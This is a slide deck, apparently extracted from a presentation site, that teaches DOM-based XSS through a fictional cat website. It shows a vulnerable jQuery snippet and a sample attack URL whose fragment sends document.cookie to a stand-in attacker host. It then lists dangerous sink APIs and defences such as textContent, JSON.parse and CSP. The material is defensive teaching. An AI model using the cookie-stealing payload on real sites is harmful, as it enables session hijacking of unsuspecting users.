22
Understanding DOM-BASED XSS BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)

Understanding dom based xss

Embed Size (px)

Citation preview

Understanding DOM-BASED XSSBY: JOHN PATRICK LITAINFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)

DOM-BASED XSS

As JavaScript framework have gotten more sophisticated, many developers are pushing logic to the client-side.

Correspondingly, the importance of knowing how to protect against vulnerabilities occurring in the browser have increased

DOM-BASED XSS

Rich web application often use URI fragment – the pary of the URL after the # sign.

This proven a convenient method of the storing the users location within a page in a way that keeps browser history readable, but does not cause extra round trips to the server.

URI Fragments

URI fragments are not sent with HTTP request, so they need to be interpreted by client-side JavaScript.

You should be careful that your treatment of URI fragment does not permit the injection of malicious JavaScript.

Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks

GUI Explanationwww.churvanels.com#1

“This a dangerous cat.”- Cat Fan

SEE ALL THE HACKER CATS YOU LOVE! #1 For ExampleWebsite hasInfinite scrollContent is loadedIn dynamicallyAs the page isScrolled down.

Notice how the URIFragment is used toTrack the scroll location

GUI Explanationwww.churvanels.com#2

“I’m Busy hacking”- Cat Fan Overload

SEE ALL THE HACKER CATS YOU LOVE! #2 For ExampleWebsite hasInfinite scrollContent is loadedIn dynamicallyAs the page isScrolled down.

Notice how the URIFragment is used toTrack the scroll location

GUI Explanationwww.churvanels.com#3

“Hacker Cat your doin it rite!”- Cat Ninja

SEE ALL THE HACKER CATS YOU LOVE! #3This dome soThat if a userNavigates awayFrom the site, andThen Presses theBack Button, thisSite can reload theirLast location

Code View

$(document).onload(function(){var page = window.location.hash;loadPage(page);

$(“#page-no”).html(page);});

Notice how the window.location.hash value is written into the DOM as raw HTML – a major security hole

However, there VulnerabilityIn the way the URI fragmentIs interpreted. The site updatesThe page number directly fromThe URI fragment, withoutChecking the contents

GUI Explanationwww.churvanels.com#3

“Hacker Cat your doin it rite!”- Cat Ninja

SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script>

This means an Attacker can Construct a URLWith malicious JavaScript in theURI Fragment..

GUI Explanationwww.churvanels.com#3

“Hacker Cat your doin it rite!”- Cat Ninja

SEE ALL THE HACKER CATS YOU LOVE! #3

And whenSomebody is trickedInto visiting thatURL, the JavaScriptWill be executed in Their browser

GUI Explanationhuncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2

And whenSomebody is trickedInto visiting thatURL, the JavaScriptWill be executed in Their browser

Check for DOM-Based Attack

Perform a brief code review of every piece of JavaScript received from the application. Identify any XSS or Redirection vulnerabilities that can be triggered by using a crafted URL to introduce malicious data into the DOM of the relevant page. Include all standalone JavaScript files and scripts contained within HTML pages (both static and dynamically generated)

Identifying APIs

Identify all uses of the following APIs, which may be used to access DOM data that can be controlled via crafted URL: document.location document.URL document.URLUnencoded document.referrer windows.location

Trace the relevant

Trace the relevant data through the code to identify what actions are performed with it. If the data (or a manipulated form of it) is passed to one of the following APIs, the application may be vulnerable to XSS Document.write() Document.writeIn() Document.body.innerHTML Eval() Window.execScript() Window.setInterval() Window.setTimeout()

Pass the data

If the data is passed to one of the following APIs, the application may be vulnerable to a redirection attack. Document.location Document.URL Document.open() Windows.location.href Window.navigate() Window.open()

RemediationHACKTHENORTH.ORG

DOM-BASED Attack!

DOM-based XSS attack have all the risk associated with the other types of XSS attack, with the added bonus that they are impossible to detect from the server side. Any page that uses URI fragments is potentially at risk from XSS attack

The Protection

Protecting Against DOM-based XSS attack is a matter of checking that your JavaScript does not interpret URI fragment in an unsafe manner. There are number of ways to ensure this

Use a JavaScript Framework Framework like Ember, AngularJS and React use template that makes

contraction of ad-hoc HTML an explicit (and rare) action. This will push your development team toward best practices, and make unsafe operations easier to detect

The Protection

Audit Your Code Carefully Sometimes a full JavaScript framework is too heavyweight for your site. In

that case, you will need to regularly conduct a code review to spot locations that reference window.location.hash.

If you are using direct the native DOM APIs, avoid using the following properties and functions: InnerHTML outerHTML Document.write

Instead, set text content within tags whenever possible: innerText textContent

Who is JSON?

Parse JSON Carefully Do not evaluate JSON to convert it to native JavaScript – for example,

by using the eval(….) function instead use JSON.parse(…..)

Don’t use URI Fragment At All! The most secure code is the code that isn’t there. If you don’t need

to use URI fragments, then don’t! Write a unit test to scan your JavaScript for mentions of window.location.has, and have it fail it the pattern is found. When there is a need to use URI fragments, then you can dicuss how to ensure their sage use.

Implementing CSPContent-Security Policy

Modern browser supports Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page – either by injection inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious Third-Party domain.

END THE SLIDE!BY: JOHN PATRICK LITAINFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)

References:

Hackplaining and OWASP Foundation